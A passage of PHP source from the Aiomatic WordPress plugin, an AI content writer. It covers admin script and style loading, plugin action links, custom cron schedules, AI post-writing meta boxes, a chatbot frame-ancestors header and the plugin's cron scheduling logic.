                wp_register_script($name . '-submitter-script', plugins_url('scripts/poster.js', __FILE__), false, AIOMATIC_MAJOR_VERSION);
                wp_enqueue_script($name . '-submitter-script');
            }
            function aiomatic_load_auto_rules_css(){
                add_action('admin_enqueue_scripts', 'aiomatic_enqueue_only_rules');
            }
            function aiomatic_load_spin(){
                add_action('admin_enqueue_scripts', 'aiomatic_enqueue_only_spin');
            }
            function aiomatic_enqueue_only_spin()
            {
                $name = md5(get_bloginfo());
                wp_enqueue_script($name . '-spin-script', plugins_url('scripts/spin.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION, true);
            }
            function aiomatic_enqueue_only_rules()
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                $more_logs = '0';
                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                {
                    $more_logs = '1';
                }
                $name = md5(get_bloginfo());
                wp_register_style($name . '-rules-style', plugins_url('styles/aiomatic-rules.css', __FILE__), false, AIOMATIC_MAJOR_VERSION);
                wp_enqueue_style($name . '-rules-style');
                wp_enqueue_script($name . '-bulk-script', plugins_url('scripts/bulk-editor.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION, true);
                $footer_conf_settings = array(
                    'plugin_dir_url' => plugin_dir_url(__FILE__),
            		'nonce' => wp_create_nonce('openai-bulk-nonce'),
                    'more_logs' => $more_logs,
            		'ajaxurl' => admin_url('admin-ajax.php')
                );
                wp_localize_script($name . '-bulk-script', 'mybulksettings', $footer_conf_settings);
            }
            function aiomatic_load_admin_js(){
                add_action('admin_enqueue_scripts', 'aiomatic_enqueue_admin_js');
            }
            function aiomatic_enqueue_admin_js()
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                $more_logs = '0';
                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                {
                    $more_logs = '1';
                }
                $name = md5(get_bloginfo());
                wp_enqueue_script($name . '-modeselect-script', plugins_url('scripts/modeselect.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION, true);
                $footer_conf_settingsx = array(
                    'showme' => esc_html__("Show Tutorial Video", 'aiomatic-automatic-ai-content-writer'),
                    'hideme' => esc_html__("Hide Tutorial Video", 'aiomatic-automatic-ai-content-writer')
                );
                wp_localize_script($name . '-modeselect-script', 'varsx', $footer_conf_settingsx);
                wp_enqueue_script($name . '-footer-script', plugins_url('scripts/footer.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION, true);
                $cr_miv = ini_get('max_input_vars');
            	if($cr_miv === null || $cr_miv === false || !is_numeric($cr_miv))
            	{
                    $cr_miv = '9999999';
                }
                $footer_conf_settings = array(
                    'max_input_vars' => $cr_miv,
                    'plugin_dir_url' => plugin_dir_url(__FILE__),
                    'more_logs' => $more_logs,
                    'ajaxurl' => admin_url('admin-ajax.php'),
            		'nonce' => wp_create_nonce('openai-run-nonce'),
            		'bulk_nonce' => wp_create_nonce('openai-bulk-nonce')
                );
                wp_localize_script($name . '-footer-script', 'mycustomsettings', $footer_conf_settings);
                wp_register_style($name . '-rules-style', plugins_url('styles/aiomatic-rules.css', __FILE__), false, AIOMATIC_MAJOR_VERSION);
                wp_enqueue_style($name . '-rules-style');
            }
            function aiomatic_load_main_admin_js(){
                add_action('admin_enqueue_scripts', 'aiomatic_enqueue_main_admin_js');
            }
            function aiomatic_load_activation(){
                add_action('admin_enqueue_scripts', 'aiomatic_enqueue_activation');
            }
            
            function aiomatic_enqueue_activation(){
                wp_register_style('aiomatic-activation-style', plugins_url('styles/aiomatic-activation.css', __FILE__), false, AIOMATIC_MAJOR_VERSION);
                wp_enqueue_style('aiomatic-activation-style');
            }
            
            function aiomatic_enqueue_main_admin_js(){
                $name = md5(get_bloginfo());
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                wp_enqueue_script($name . '-main-script', plugins_url('scripts/main.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION);
                $plugin = plugin_basename(__FILE__);
                $plugin_slug = explode('/', $plugin);
                $plugin_slug = $plugin_slug[0];
                $footer_conf_settings = array(
                    'ajaxurl' => admin_url('admin-ajax.php'),
                    'plugin_slug' => $plugin_slug
                );
                wp_localize_script($name . '-main-script', 'mycustomsettings', $footer_conf_settings);
                if(!isset($aiomatic_Main_Settings['best_user']))
                {
                    $best_user = '';
                }
                else
                {
                    $best_user = $aiomatic_Main_Settings['best_user'];
                }
                if(!isset($aiomatic_Main_Settings['best_password']))
                {
                    $best_password = '';
                }
                else
                {
                    $best_password = $aiomatic_Main_Settings['best_password'];
                }
                $header_main_settings = array(
                    'best_user' => $best_user,
                    'best_password' => $best_password,
                    'ajaxurl' => admin_url('admin-ajax.php'),
                    'nonce' => wp_create_nonce('openai-ajax-nonce'),
                );
                wp_localize_script($name . '-main-script', 'mycustommainsettings', $header_main_settings);
            }
            function aiomatic_load_single()
            {
                $name = md5(get_bloginfo());
                add_action('admin_enqueue_scripts', 'aiomatic_admin_single');
                wp_enqueue_script( 'jquery-ui-dialog' );
                wp_enqueue_style( 'wp-jquery-ui-dialog' );
                wp_enqueue_media();
                wp_enqueue_script( $name . '-media-loader-js', plugins_url( 'scripts/media.js' , __FILE__ ), array('jquery'), AIOMATIC_MAJOR_VERSION );
                wp_localize_script($name . '-media-loader-js', 'aiomatic_ajax_object', array(
            		'nonce' => wp_create_nonce('openai-single-nonce')
            	));
            }
            function aiomatic_load_omni()
            {
                add_action('admin_enqueue_scripts', 'aiomatic_admin_omni');
            }
            function aiomatic_enqueue_custom_css_for_toc_meta() 
            {
                if ( is_singular() ) 
                {
                    global $post;
                    $transient_key = 'aiomatic_toc_' . $post->ID;
                    $meta_value = get_transient($transient_key);
                    if ($meta_value == false) 
                    {
                        $meta_value = get_post_meta( $post->ID, 'aiomatic_toc', true );
                        set_transient($transient_key, $meta_value, 12 * HOUR_IN_SECONDS);
                    }
                    if ( $meta_value === '1' ) 
                    {
                        $name = md5(get_bloginfo());
                        wp_register_style($name . '-toc-css-ai', plugins_url('styles/toc.css', __FILE__), false, AIOMATIC_MAJOR_VERSION);
                        wp_enqueue_style($name . '-toc-css-ai');
                    }
                }
            }
            add_action( 'wp_enqueue_scripts', 'aiomatic_enqueue_custom_css_for_toc_meta' );
            function aiomatic_admin_single()
            {
                $name = md5(get_bloginfo());
                wp_register_script($name . '-single-script', plugins_url('scripts/single.js', __FILE__), false, AIOMATIC_MAJOR_VERSION);
                wp_enqueue_script($name . '-single-script');
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (isset($aiomatic_Main_Settings['no_jobs']) && $aiomatic_Main_Settings['no_jobs'] === 'on')
                {
                    $no_jobs = '1';
                }
                else
                {
                    $no_jobs = '0';
                }
                wp_localize_script($name . '-single-script', 'aiomatic_ajax_object', array(
            		'ajax_url' => admin_url('admin-ajax.php'),
            		'nonce' => wp_create_nonce('openai-single-nonce'),
                    'no_jobs' => $no_jobs
            	));
            }
            function aiomatic_admin_omni()
            {
                $name = md5(get_bloginfo());
                wp_enqueue_script('jquery-ui-draggable');
                wp_enqueue_script('jquery-ui-sortable');
                wp_register_script($name . '-omni-script', plugins_url('scripts/automation.js', __FILE__), array('jquery', 'jquery-ui-sortable'), AIOMATIC_MAJOR_VERSION, false);
                wp_enqueue_script($name . '-omni-script');
                wp_localize_script($name . '-omni-script', 'aiomatic_ajax_object', array(
            		'ajax_url' => admin_url('admin-ajax.php'),
            		'nonce' => wp_create_nonce('openai-omni-nonce'),
            		'bulk_nonce' => wp_create_nonce('openai-bulk-nonce')
            	));
                wp_register_style($name . '-automation', plugins_url('styles/automation.css', __FILE__), false, AIOMATIC_MAJOR_VERSION);
                wp_enqueue_style($name . '-automation');
            }
            function aiomatic_load_all_admin_js(){
                add_action('admin_enqueue_scripts', 'aiomatic_admin_load_files');
            }
            function aiomatic_load_playground(){
                add_action('admin_enqueue_scripts', 'aiomatic_admin_load_playground');
            }
            function aiomatic_load_live_preview(){
                add_action('admin_enqueue_scripts', 'aiomatic_admin_load_live_preview');
            }
            function aiomatic_load_stats(){
                add_action('admin_enqueue_scripts', 'aiomatic_admin_load_stats');
            }
            function aiomatic_load_magic(){
                add_action('admin_enqueue_scripts', 'aiomatic_admin_load_magic');
            }
            function aiomatic_load_embeddings(){
                add_action('admin_enqueue_scripts', 'aiomatic_admin_load_embeddings');
            }
            function aiomatic_load_forms(){
                add_action('admin_enqueue_scripts', 'aiomatic_admin_load_forms');
                add_action('admin_footer', 'aiomatic_admin_footer');
            }
            function aiomatic_load_assistants(){
                add_action('admin_enqueue_scripts', 'aiomatic_admin_load_assistants');
                add_action('admin_footer', 'aiomatic_admin_footer');
            }
            function aiomatic_load_batch(){
                add_action('admin_enqueue_scripts', 'aiomatic_admin_load_batch');
                add_action('admin_footer', 'aiomatic_admin_footer');
            }
            function aiomatic_load_training(){
                add_action('admin_enqueue_scripts', 'aiomatic_admin_load_training');
                add_action('admin_footer', 'aiomatic_admin_footer');
            }
            add_filter("plugin_action_links_$plugin", 'aiomatic_add_rating_link');
            function aiomatic_add_rating_link($links)
            {
                $settings_link = '<a href="//codecanyon.net/downloads" target="_blank" title="Rate">
                        <i class="wdi-rate-stars"><svg xmlns="http://www.w3.org/2000/svg" width="15" height="15" viewBox="0 0 24 24" fill="#ffb900" stroke="#ffb900" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star"><polygon points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon></svg><svg xmlns="http://www.w3.org/2000/svg" width="15" height="15" viewBox="0 0 24 24" fill="#ffb900" stroke="#ffb900" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star"><polygon points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon></svg><svg xmlns="http://www.w3.org/2000/svg" width="15" height="15" viewBox="0 0 24 24" fill="#ffb900" stroke="#ffb900" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star"><polygon points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon></svg><svg xmlns="http://www.w3.org/2000/svg" width="15" height="15" viewBox="0 0 24 24" fill="#ffb900" stroke="#ffb900" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star"><polygon points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon></svg><svg xmlns="http://www.w3.org/2000/svg" width="15" height="15" viewBox="0 0 24 24" fill="#ffb900" stroke="#ffb900" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star"><polygon points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon></svg></i></a>';
                array_push($links, $settings_link);
                return $links;
            }
            add_filter("plugin_action_links_$plugin", 'aiomatic_add_support_link');
            function aiomatic_add_support_link($links)
            {
                $settings_link = '<a href="//coderevolution.ro/knowledge-base/" target="_blank">' . esc_html__('Support', 'aiomatic-automatic-ai-content-writer') . '</a>';
                array_push($links, $settings_link);
                return $links;
            }
            add_filter("plugin_action_links_$plugin", 'aiomatic_add_settings_link');
            function aiomatic_add_settings_link($links)
            {
                $settings_link = '<a href="admin.php?page=aiomatic_admin_settings">' . esc_html__('Settings', 'aiomatic-automatic-ai-content-writer') . '</a>';
                array_push($links, $settings_link);
                return $links;
            }
            
            function aiomatic_display_posts_off( $out, $pairs, $atts ) {
            	$out['display_posts_off'] = apply_filters( 'display_posts_shortcode_inception_override', true );
            	return $out;
            }
            
            add_filter('cron_schedules', 'aiomatic_add_cron_schedule');
            function aiomatic_add_cron_schedule($schedules)
            {
                $schedules['aiomatic_cron_ten'] = array(
                    'interval' => 600,
                    'display' => esc_html__('Aiomatic Cron 10 Minute', 'aiomatic-automatic-ai-content-writer')
                );
                $schedules['aiomatic_cron_sfert'] = array(
                    'interval' => 900,
                    'display' => esc_html__('Aiomatic Cron Quarter Hour', 'aiomatic-automatic-ai-content-writer')
                );
                $schedules['aiomatic_cron_half'] = array(
                    'interval' => 1800,
                    'display' => esc_html__('Aiomatic Cron Half Hour', 'aiomatic-automatic-ai-content-writer')
                );
                $schedules['aiomatic_cron'] = array(
                    'interval' => 3600,
                    'display' => esc_html__('Aiomatic Cron', 'aiomatic-automatic-ai-content-writer')
                );
                $schedules['minutely'] = array(
                    'interval' => 60,
                    'display' => esc_html__('Once A Minute', 'aiomatic-automatic-ai-content-writer')
                );
                $schedules['weekly']        = array(
                    'interval' => 604800,
                    'display' => esc_html__('Once Weekly', 'aiomatic-automatic-ai-content-writer')
                );
                $schedules['monthly']       = array(
                    'interval' => 2592000,
                    'display' => esc_html__('Once Monthly', 'aiomatic-automatic-ai-content-writer')
                );
                return $schedules;
            }
            
            register_deactivation_hook(__FILE__, 'aiomatic_my_deactivation');
            function aiomatic_my_deactivation()
            {
                wp_clear_scheduled_hook('aiomaticaction');
                wp_clear_scheduled_hook('aiomaticactionclear');
                $running = array();
                update_option('aiomatic_running_list', $running, false);
            }
            add_action('aiomaticaction', 'aiomatic_cron');
            add_action('aiomaticeditaction', 'aiomatic_do_bulk_post');
            add_action('aiomaticactionclear', 'aiomatic_auto_clear_log');
            
            add_action('add_meta_boxes', 'aiomatic_add_meta_box');
            function aiomatic_add_meta_box()
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] === 'on') 
                {
                    $name = md5(get_bloginfo());
                    foreach ( get_post_types( '', 'names' ) as $post_type ) {
                        if(strstr($post_type, 'aiomatic_'))
                        {
                           continue;
                        }
                        if(aiomatic_is_gutenberg_page())
                        {
                            global $post;
                            wp_enqueue_script($name . '-poster-script', plugins_url('scripts/ai-post-creator-gutenberg.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION, true);
                            wp_localize_script($name . '-poster-script', 'aiomatic_creator_object', array(
                                'ajax_url' => admin_url('admin-ajax.php'),
                                'nonce' => wp_create_nonce('openai-ajax-nonce'),
                                'generating_title' => esc_html__('Generating title...','aiomatic-automatic-ai-content-writer'),
                                'generating_meta' => esc_html__('Generating SEO meta description...','aiomatic-automatic-ai-content-writer'),
                                'generating_content' => esc_html__('Generating content...','aiomatic-automatic-ai-content-writer'),
                                'generating_excerpt' => esc_html__('Generating short description (excerpt)...','aiomatic-automatic-ai-content-writer'),
                                'generating_tags' => esc_html__('Generating tags...','aiomatic-automatic-ai-content-writer'),
                                'saving_post' => esc_html__('Saving post...','aiomatic-automatic-ai-content-writer'),
                                'generating_done' => esc_html__('Done!','aiomatic-automatic-ai-content-writer'),
                                'no_title' => esc_html__('Please enter a title idea/keyword','aiomatic-automatic-ai-content-writer') . ' ' . $post_type,
                                'no_change' => esc_html__('Nothing to save!','aiomatic-automatic-ai-content-writer') . ' ' . $post_type,
                                'no_step' => esc_html__('Please select at least one checkbox to generate!','aiomatic-automatic-ai-content-writer'),
                                'no_post_id' => esc_html__('An internal error was encountered, please try again later!','aiomatic-automatic-ai-content-writer'),
                                'error_occurred' => esc_html__('An error occurred, please try again later!','aiomatic-automatic-ai-content-writer'),
                                'post_id' => $post->ID
                            ));
                            add_meta_box(
                                'aiomatic_gutenberg_ai',
                                esc_html__('Aiomatic AI Content Writer', 'aiomatic-automatic-ai-content-writer'),
                                'aiomatic_gutenberg_metabox',
                                $post_type,
                                'advanced',
                                'default'
                            );
                        }
                        else
                        {
                            wp_enqueue_script($name . '-poster-script', plugins_url('scripts/ai-post-creator.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION, true);
                            wp_localize_script($name . '-poster-script', 'aiomatic_creator_object', array(
                                'ajax_url' => admin_url('admin-ajax.php'),
                                'nonce' => wp_create_nonce('openai-ajax-nonce'),
                                'generating_title' => esc_html__('Generating title...','aiomatic-automatic-ai-content-writer'),
                                'generating_meta' => esc_html__('Generating SEO meta description...','aiomatic-automatic-ai-content-writer'),
                                'generating_content' => esc_html__('Generating content...','aiomatic-automatic-ai-content-writer'),
                                'generating_excerpt' => esc_html__('Generating short description (excerpt)...','aiomatic-automatic-ai-content-writer'),
                                'generating_tags' => esc_html__('Generating tags...','aiomatic-automatic-ai-content-writer'),
                                'generating_done' => esc_html__('Done!','aiomatic-automatic-ai-content-writer'),
                                'no_title' => esc_html__('Please enter a title idea/keyword','aiomatic-automatic-ai-content-writer') . ' ' . $post_type,
                                'no_step' => esc_html__('Please select at least one checkbox to generate!','aiomatic-automatic-ai-content-writer'),
                                'error_occurred' => esc_html__('An error occurred, please try again later!','aiomatic-automatic-ai-content-writer')
                            ));
                            add_meta_box('aiomatic_meta_box_function_write_product', esc_html__('Aiomatic AI Content Writer', 'aiomatic-automatic-ai-content-writer'), 'aiomatic_meta_box_function_write_product', $post_type, 'advanced', 'default', array('__back_compat_meta_box' => true));
                            add_meta_box('aiomatic_meta_box_function_add', esc_html__('Aiomatic AI Content Editor', 'aiomatic-automatic-ai-content-writer'), 'aiomatic_meta_box_function', $post_type, 'advanced', 'default', array('__back_compat_meta_box' => true));
                        }
                    }
                }
            }
            function aiomatic_add_csp_to_http_header() 
            {
                $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                if (isset($aiomatic_Chatbot_Settings['remote_chat']) && trim($aiomatic_Chatbot_Settings['remote_chat']) == 'on')
                {
                    if (isset($aiomatic_Chatbot_Settings['allow_chatbot_site']) && trim($aiomatic_Chatbot_Settings['allow_chatbot_site']) != '') 
                    {
                        $allowed_domains = trim($aiomatic_Chatbot_Settings['allow_chatbot_site']);
                        $allowed_domains = str_replace(',', ' ', $allowed_domains);
                        $allowed_domains = preg_replace('/\s+/', ' ', $allowed_domains);
                        $allowed_domains = "'self' " . $allowed_domains;
                        header("Content-Security-Policy: frame-ancestors $allowed_domains;");
                    }
                }
            }
            add_action('send_headers', 'aiomatic_add_csp_to_http_header');
            
            function aiomatic_meta_box_function_write_product($post)
            {
                require_once (dirname(__FILE__) . "/res/admin/ai-post.php");
            }
            function aiomatic_gutenberg_metabox($post)
            {
                require_once (dirname(__FILE__) . "/res/admin/ai-post-gutenberg.php");
            }
            add_action('admin_enqueue_scripts', 'aiomatic_admin_do_post');
            function aiomatic_admin_do_post()
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                $name = md5(get_bloginfo());
                if (!isset($aiomatic_Main_Settings['no_media_library']) || $aiomatic_Main_Settings['no_media_library'] !== 'on') 
                {
                    global $post;
                    wp_enqueue_media();
                    wp_enqueue_script($name . '-media-tab', plugins_url('scripts/media-ai-script.js', __FILE__), array( 'jquery' ), AIOMATIC_MAJOR_VERSION, true);
                    $no_stable = '0';
                    if (!isset($aiomatic_Main_Settings['stability_app_id']) || trim($aiomatic_Main_Settings['stability_app_id']) == '') 
                    {
                        $no_stable = '1';
                    }
                    $no_midjourney = '0';
                    if (!isset($aiomatic_Main_Settings['midjourney_app_id']) || trim($aiomatic_Main_Settings['midjourney_app_id']) == '') 
                    {
                        $no_midjourney = '1';
                    }
                    $royalty_free_sources = array();
                    if(isset($aiomatic_Main_Settings['pixabay_api']) && $aiomatic_Main_Settings['pixabay_api'] != '')
                    {
                        $royalty_free_sources[] = 'pixabay';
                    }
                    if(isset($aiomatic_Main_Settings['flickr_api']) && $aiomatic_Main_Settings['flickr_api'] !== '')
                    {
                        $royalty_free_sources[] = 'flickr';
                    }
                    if(isset($aiomatic_Main_Settings['pexels_api']) && $aiomatic_Main_Settings['pexels_api'] !== '')
                    {
                        $royalty_free_sources[] = 'pexels';
                    }
                    if(isset($aiomatic_Main_Settings['pixabay_scrape']) && $aiomatic_Main_Settings['pixabay_scrape'] == 'on')
                    {
                        $royalty_free_sources[] = 'pixabayscrape';
                    }
                    if(isset($aiomatic_Main_Settings['unsplash_api']) && $aiomatic_Main_Settings['unsplash_api'] == 'on')
                    {
                        $royalty_free_sources[] = 'unsplash';
                    }
                    if(isset($aiomatic_Main_Settings['google_images']) && $aiomatic_Main_Settings['google_images'] == 'on')
                    {
                        $royalty_free_sources[] = 'google';
                    }
                    $image_placeholder = plugins_url('images/loading.gif', __FILE__);
                    wp_localize_script($name . '-media-tab', 'aiomatic_img_ajax_object', array(
                        'ajax_url' => admin_url('admin-ajax.php'),
                        'nonce' => wp_create_nonce('openai-ajax-nonce'),
                        'image_placeholder' => $image_placeholder,
                        'postId' => $post ? $post->ID : '',
                        'no_stable' => $no_stable,
                        'no_midjourney' => $no_midjourney,
                        'royalty_free_sources' => $royalty_free_sources
                    ));
                }
                wp_register_style($name . '-media', plugins_url('styles/aiomatic-media.css', __FILE__), false, AIOMATIC_MAJOR_VERSION);
                wp_enqueue_style($name . '-media');
                wp_enqueue_script($name . '-classic-poster-script', plugins_url('scripts/postnow.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION, true);
                wp_localize_script($name . '-classic-poster-script', 'aiomatic_poster_object', array(
                    'ajax_url' => admin_url('admin-ajax.php'),
                    'nonce' => wp_create_nonce('openai-ajax-nonce')
                ));
                wp_enqueue_script($name . '-media-extender', plugins_url('scripts/media-extender.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION, true);
                wp_localize_script($name . '-media-extender', 'aiomatic_media_object', array(
                    'nonce' => wp_create_nonce('openai-ajax-nonce')
                ));
            }
            function aiomatic_meta_box_function($post)
            {
                $name = md5(get_bloginfo());
                wp_register_style($name . '-browser-style', plugins_url('styles/aiomatic-browser.css', __FILE__), false, AIOMATIC_MAJOR_VERSION);
                wp_enqueue_style($name . '-browser-style');
                $metavalue = 'Post is not yet edited with Aiomatic.';
                $pid = get_the_ID();
                if($pid !== false) {
                    $aiomatic_Spinner_Settings = get_option('aiomatic_Spinner_Settings', false);
                    if (isset($aiomatic_Spinner_Settings['custom_name']) && trim($aiomatic_Spinner_Settings['custom_name']) != '') {
                        $custom_name = trim($aiomatic_Spinner_Settings['custom_name']);
                    } else {
                        $custom_name = 'aiomatic_published';
                    }
                    $metavalue_check = get_post_meta($pid, $custom_name, true);
                    if($metavalue_check == 'pub')
                    {
                        $metavalue = 'Post is edited with Aiomatic.';
                    }
                }
                $ech = '<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__("The post will be edited respecting the configurations you made in the 'AI Content Editor' plugin menu section.", 'aiomatic-automatic-ai-content-writer') . '</div></div> <span id="aiomatic_span">' . esc_html__("Manually Run AI Editing (AI Content Editor) For This Post", 'aiomatic-automatic-ai-content-writer') . ': </span><br/><br/><form id="aiomatic_form"><input class="button button-primary button-large" type="button" name="aiomatic_submit_post" id="aiomatic_submit_post" value="' . esc_html__('Process with Aiomatic', 'aiomatic-automatic-ai-content-writer') . '" onclick="aiomatic_post_now(' . $post->ID . ');"/>
                <hr/>
                <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__("Check if this post was already edited using Aiomatic. You can also toggle this post info, if you click the button from below.", 'aiomatic-automatic-ai-content-writer') . '</div></div> <span id="aiomatic_span">' . esc_html__("Post Editing Status", 'aiomatic-automatic-ai-content-writer') . ': </span>' . esc_html($metavalue) . '<br/><br/>
                <input class="button button-primary button-large" type="button" name="aiomatic_toggle_post" id="aiomatic_toggle_post" value="' . esc_html__('Toggle Editing Status', 'aiomatic-automatic-ai-content-writer') . '" onclick="aiomatic_toggle_now(' . $post->ID . ');"/></form><br/><hr/>';
                echo $ech;
            }
            function aiomatic_cron_schedule()
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] === 'on') 
                {
                    $aiomatic_Spinner_Settings = get_option('aiomatic_Spinner_Settings', false);
                    if(!isset($aiomatic_Spinner_Settings['auto_run_interval']))
                    {
                        $aiomatic_Spinner_Settings['auto_run_interval'] = 'daily';
                    }
                    if(isset($aiomatic_Spinner_Settings['auto_edit']) && $aiomatic_Spinner_Settings['auto_edit'] == 'wp' && $aiomatic_Spinner_Settings['auto_run_interval'] != 'No')
                    {
                        if (!wp_next_scheduled('aiomaticeditaction')) 
                        {
                            wp_schedule_event(time(), $aiomatic_Spinner_Settings['auto_run_interval'], 'aiomaticeditaction');
                        }
                    }
                    else
                    {
                        if (wp_next_scheduled('aiomaticeditaction')) 
                        {
                            wp_clear_scheduled_hook('aiomaticeditaction');
                        }
                    }
                    if (!wp_next_scheduled('aiomaticaction')) {
                        $unlocker = get_option('aiomatic_minute_running_unlocked', false);
                        if($unlocker == '1')
                        {
                            $rez = wp_schedule_event(time(), 'minutely', 'aiomaticaction');
                        }
                        else
                        {
                            $rez = wp_schedule_event(time(), 'aiomatic_cron_sfert', 'aiomaticaction');
                        }
                        if ($rez === FALSE) {
                            aiomatic_log_to_file('[Scheduler] Failed to schedule aiomaticaction to aiomatic_cron!');
                        }
                    }
                    
                    if (isset($aiomatic_Main_Settings['enable_logging']) && $aiomatic_Main_Settings['enable_logging'] === 'on' && isset($aiomatic_Main_Settings['auto_clear_logs']) && $aiomatic_Main_Settings['auto_clear_logs'] !== 'No') {
                        if (!wp_next_scheduled('aiomaticactionclear')) {
                            $rez = wp_schedule_event(time(), $aiomatic_Main_Settings['auto_clear_logs'], 'aiomaticactionclear');
                            if ($rez === FALSE) {
                                aiomatic_log_to_file('[Scheduler] Failed to schedule aiomaticactionclear to ' . $aiomatic_Main_Settings['auto_clear_logs'] . '!');
                            }
                            add_option('aiomatic_schedule_time', $aiomatic_Main_Settings['auto_clear_logs']);
                        } else {
                            if (!get_option('aiomatic_schedule_time')) {
                                wp_clear_scheduled_hook('aiomaticactionclear');
                                $rez = wp_schedule_event(time(), $aiomatic_Main_Settings['auto_clear_logs'], 'aiomaticactionclear');
                                add_option('aiomatic_schedule_time', $aiomatic_Main_Settings['auto_clear_logs']);
                                if ($rez === FALSE) {
                                    aiomatic_log_to_file('[Scheduler] Failed to schedule aiomaticactionclear to ' . $aiomatic_Main_Settings['auto_clear_logs'] . '!');
                                }
                            } else {
                                $the_time = get_option('aiomatic_schedule_time');
                                if ($the_time != $aiomatic_Main_Settings['auto_clear_logs']) {
                                    wp_clear_scheduled_hook('aiomaticactionclear');
                                    delete_option('aiomatic_schedule_time');
                                    $rez = wp_schedule_event(time(), $aiomatic_Main_Settings['auto_clear_logs'], 'aiomaticactionclear');
                                    add_option('aiomatic_schedule_time', $aiomatic_Main_Settings['auto_clear_logs']);
                                    if ($rez === FALSE) {
                                        aiomatic_log_to_file('[Scheduler] Failed to schedule aiomaticactionclear to ' . $aiomatic_Main_Settings['auto_clear_logs'] . '!');
                                    }
                                }
                            }
                        }
                    } else {
                        if (!wp_next_scheduled('aiomaticactionclear')) {
                            delete_option('aiomatic_schedule_time');
                        } else {
                            wp_clear_scheduled_hook('aiomaticactionclear');
                            delete_option('aiomatic_schedule_time');
                        }
                    }
                } else {
                    if (wp_next_scheduled('aiomaticaction')) {
                        wp_clear_scheduled_hook('aiomaticaction');
                    }
                    
                    if (!wp_next_scheduled('aiomaticactionclear')) {
                        delete_option('aiomatic_schedule_time');
                    } else {
                        wp_clear_scheduled_hook('aiomaticactionclear');
                        delete_option('aiomatic_schedule_time');
                    }
                }
            }
            function aiomatic_cron()
            {
                $GLOBALS['wp_object_cache']->delete('aiomatic_rules_list', 'options');
                if (!get_option('aiomatic_rules_list')) {
                    $rules = array();
                } else {
                    $rules = get_option('aiomatic_rules_list');
                }
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (isset($aiomatic_Main_Settings['run_after']) && $aiomatic_Main_Settings['run_after'] != '' && isset($aiomatic_Main_Settings['run_before']) && $aiomatic_Main_Settings['run_before'] != '') 
                {
                    $exit = true;
                    $mytime = date("H:i");
                    $min_time = $aiomatic_Main_Settings['run_after'];
                    $max_time = $aiomatic_Main_Settings['run_before'];
                    $date1 = DateTime::createFromFormat('H:i', $mytime);
                    $date2 = DateTime::createFromFormat('H:i', $min_time);
                    $date3 = DateTime::createFromFormat('H:i', $max_time);
                    if ($date1 > $date2 && $date1 < $date3)
                    {
                        $exit = false;
                    }
                    if($exit == true)
                    {
                        return;
                    }
                }
                $unlocker = get_option('aiomatic_minute_running_unlocked', false);
                if (!empty($rules)) {
                    $cont = 0;
                    foreach ($rules as $request => $bundle[]) {
                        $bundle_values   = array_values($bundle);
                        $myValues        = $bundle_values[$cont];
                        $array_my_values = array_values($myValues);for($iji=0;$iji<count($array_my_values);++$iji){if(is_string($array_my_values[$iji])){$array_my_values[$iji]=stripslashes($array_my_values[$iji]);}}
                        $schedule        = isset($array_my_values[0]) ? $array_my_values[0] : '24';
                        $active          = isset($array_my_values[1]) ? $array_my_values[1] : '0';
                        $last_run        = isset($array_my_values[2]) ? $array_my_values[2] : aiomatic_get_date_now();
                        if ($active == '1') {
                            $now                = aiomatic_get_date_now();
                            if($unlocker == '1')
                            {
                                $nextrun        = aiomatic_add_minute($last_run, $schedule);
                                $aiomatic_hour_diff = (int) aiomatic_minute_diff($now, $nextrun);
                            }
                            else
                            {
                                $nextrun        = aiomatic_add_hour($last_run, $schedule);
